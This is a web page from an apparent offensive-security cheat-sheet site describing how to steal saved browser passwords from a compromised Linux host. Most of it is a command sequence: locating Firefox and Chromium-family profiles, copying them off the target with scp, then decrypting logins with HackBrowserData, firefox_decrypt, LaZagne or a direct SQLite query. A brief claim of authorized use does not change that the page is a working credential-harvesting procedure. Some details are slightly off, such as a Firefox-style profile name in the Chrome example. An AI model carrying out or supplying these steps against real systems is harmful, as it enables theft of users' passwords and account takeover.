Skip to content
HackIndex logo

HackIndex

Browser saved passwords

4 min read May 15, 2026

This operator page covers triaging browser credential locations on a compromised Linux host, extracting profile files, and decrypting saved passwords on Kali Linux using reliable tools. These methods are for ethical penetration testing or authorized recovery, assuming post-exploitation access to copy files to your Kali machine.

Locate browser profiles fast

Firefox (classic and Snap):

┌──(kali㉿kali)-[~]
└─$ ls -la ~/.mozilla/firefox 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la ~/snap/firefox/common/.mozilla/firefox 2>/dev/null

Chromium-based profile roots:

┌──(kali㉿kali)-[~]
└─$ ls -la ~/.config/google-chrome 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la ~/.config/chromium 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la ~/.config/BraveSoftware/Brave-Browser 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la ~/.config/microsoft-edge 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la ~/.config/vivaldi 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls -la ~/.config/opera 2>/dev/null

What to do with results:

  • Firefox saved logins are tied to the profile directory containing logins.json and key4.db.

  • Chromium-based browsers typically use a profile directory like Default/ with a Login Data SQLite DB and a Local State file.

  • On Linux, Chromium-based browsers can store secrets via desktop keyrings (GNOME Libsecret or KWallet) or as plain text depending on the configured password store.

Extract and Decrypt Credentials

First, copy the relevant profile directories from the target host to your Kali machine (e.g., via scp, assuming SSH access):

┌──(kali㉿kali)-[~]
└─$ # Example for Firefox
┌──(kali㉿kali)-[~]
└─$ scp -r user@target:~/.mozilla/firefox /path/on/kali/target-firefox-profiles
 
┌──(kali㉿kali)-[~]
└─$ # Example for Chrome
┌──(kali㉿kali)-[~]
└─$ scp -r user@target:~/.config/google-chrome /path/on/kali/target-chrome-profiles

Handle the files securely on Kali (e.g., in an encrypted volume). Then use the tools below for decryption..

HackBrowserData (Most modern browsers)

  • Installation on Kali: Download the latest Linux binary (statically linked Go tool, no deps).

┌──(kali㉿kali)-[~]
└─$ wget https://github.com/moonD4rk/HackBrowserData/releases/download/v0.4.6/hack-browser-data-linux-64bit.zip
┌──(kali㉿kali)-[~]
└─$ unzip hack-browser-data-linux-64bit.zip

  • Usage for Firefox passwords (point to copied profile):

user@host ~ $ ./hack-browser-data -b firefox -f csv --dir results/ --profile-path /path/on/kali/target-firefox-profiles/abcdef12.default-release passwords

  • Outputs to results/ as CSV/JSON/ZIP. Handles AES-256-CBC for Firefox ≥144.

  • If master password set: Tool may prompt or fail; check --help for password flags if available.

  • Usage for Chromium-based (e.g., Chrome; point to copied profile):

user@host ~ $ ./hack-browser-data -b chrome -f csv --dir results/ --profile-path /path/on/kali/target-chrome-profiles/abcdef12.default-release passwords

  • Replace "chrome" with "brave", "edge", "opera", etc.

  • Decrypts Login Data DB using copied Local State. Works offline if plaintext or with emulated keyring (may require session simulation if locked).

  • For specific profile: Use --profile-path flag.

firefox_decrypt (Firefox)

  • Installation on Kali:

┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt install -y python3-pip libnss3
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/unode/firefox_decrypt.git
┌──(kali㉿kali)-[~]
└─$ cd firefox_decrypt

  • Usage (point to copied profile):

┌──(kali㉿kali)-[~]
└─$ python3 firefox_decrypt.py /path/on/kali/target-firefox-profiles/abcdef12.default-release

  • Interactively selects and decrypts.

  • Outputs: Human-readable, CSV, JSON. Use --non-fatal-decryption to skip errors.

LaZagne (Chromium)

  • Install on target

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/AlessandroZ/LaZagne.git
┌──(kali㉿kali)-[~]
└─$ cd LaZagne/Linux
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv && source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip install -r requirements.txt

  • Usage (point to copied profiles via custom run or config):

user@host ~ $ python3 laZagne.py browsers

Notes on Decryption:

  • For locked keyrings (Chromium): May need to run in a simulated session or use the user's OS password to unlock copied secrets.

  • Plaintext stores: Query SQLite directly if tools fail (e.g., sqlite3 "/path/Login Data" "SELECT origin_url, username_value, password_value FROM logins" – but decrypt blob fields manually if needed).

  • Handle outputs securely: Redirect to encrypted files and delete after use.

References